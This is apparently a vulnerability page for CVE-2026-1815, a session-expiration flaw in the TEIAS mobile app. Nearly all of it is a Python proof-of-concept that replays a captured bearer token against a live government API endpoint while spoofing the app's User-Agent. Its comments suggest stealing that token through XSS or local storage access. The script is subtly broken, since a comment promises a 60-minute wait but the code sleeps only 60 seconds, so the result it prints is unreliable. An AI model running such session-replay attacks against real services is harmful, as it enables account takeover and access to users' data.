CVE-2026-1815 TEIAS移动应用会话劫持漏洞

import requests import time # POC for CVE-2026-1815: Insufficient Session Expiration # This script demonstrates that a session token remains valid beyond the expected timeout. target_url = "https://api.teias.gov.tr/v1/user/profile" # Simulate a captured session token from a vulnerable version (e.g., v1.6.2) # In a real attack, this might be obtained via XSS or local storage access. vulnerable_session_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.simulated_token" headers = { "User-Agent": "TEIAS-App/1.6.2 (Android 12)", "Authorization": f"Bearer {vulnerable_session_token}" } def check_session_validity(): try: response = requests.get(target_url, headers=headers, timeout=5) if response.status_code == 200: print("[+] Session is VALID. Request successful.") print(f"[+] Data received: {response.text[:100]}...") return True else: print(f"[-] Session is INVALID or Error. Status: {response.status_code}") return False except Exception as e: print(f"[!] Connection error: {e}") return False print("[*] Step 1: Validating session immediately after login.") check_session_validity() print("\n[*] Step 2: Waiting for extended period (simulating lack of expiration)...") # Wait for 60 minutes to check if session expires (Standard timeout should be much lower) # For demonstration, we assume the vulnerability allows this. time.sleep(60) print("[*] Step 3: Reusing the same session token after delay.") if check_session_validity(): print("\n[!] VULNERABILITY CONFIRMED: Session did not expire properly.") else: print("\n[-] Mitigation may be present: Session expired.")